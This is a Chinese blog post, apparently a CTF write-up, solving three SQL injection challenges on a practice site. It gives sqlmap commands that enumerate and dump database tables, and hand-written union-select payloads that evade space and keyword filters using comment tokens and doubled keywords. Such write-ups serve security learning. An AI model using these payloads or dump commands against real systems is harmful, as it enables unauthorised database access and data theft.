baifan2618

简单的sql注入3

链接:http://ctf5.shiyanbar.com/web/index_3.php

输入1,页面显示hello,输入1\',页面报错

尝试一下用sqlmap跑,没想到就跑出来了     O(∩_∩)O哈哈~

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs

猜测在数据库web1里面

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

明显在表flag里面

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

就在此段flag里面了

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

 

简单的sql注入2

链接:http://ctf5.shiyanbar.com/web/index_2.php
试着先输入1,再输入1\',页面报语法错误,再输入1 \'页面出现SQLi detected!,推出空格被它过滤了

接下来有两种方法:用sqlmap或者手注

先手注

过滤的空格可以用/**/代替,查询当前数据库的表

\'/**/or/**/id=4/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/\'1\'=\'1

猜测在flag表里面

下面用sqlmap进行注入

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --tables -D web1

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1

 

3.简单的SQL注入

链接:http://ctf5.shiyanbar.com/423/web/

这道题也是sql注入,输入1,页面显示正常,输出1\',页面报错

之后通过输入查表字段,发现union select 被过滤了,这是想到用两个union表示

重复输入union select后发现空格也被过滤了,继续用两个空格代替一个空格

1.查询当前数据库

1\'  unionunion  selectselect  database()\'

 

2.查询数据库中的表

1\'  unionunion  selectselect  table_name  fromfrom  information_schema.tables  wherewhere  \'1\'=\'1

3.查询字段名

1\' unionunion  selectselect  column_namcolumn_namee  fromfrom  information_schema.coluinformation_schema.columnsmns  wherewhere  table_name=\'flag

 

4.最后构造出1\'  unionunion  selectselect  flag  fromfrom  flag  wherewhere  \'1\'=\'1

 

分类:

技术点:

相关文章:

  • 2021-06-17
  • 2021-11-22
  • 2021-06-21
  • 2021-09-25
  • 2021-08-17
  • 2022-01-08
  • 2021-11-22
  • 2022-12-23
猜你喜欢
  • 2021-12-24
  • 2021-05-04
  • 2021-07-06
  • 2021-11-11
  • 2021-11-05
  • 2021-04-22
  • 2021-12-27
相关资源
相似解决方案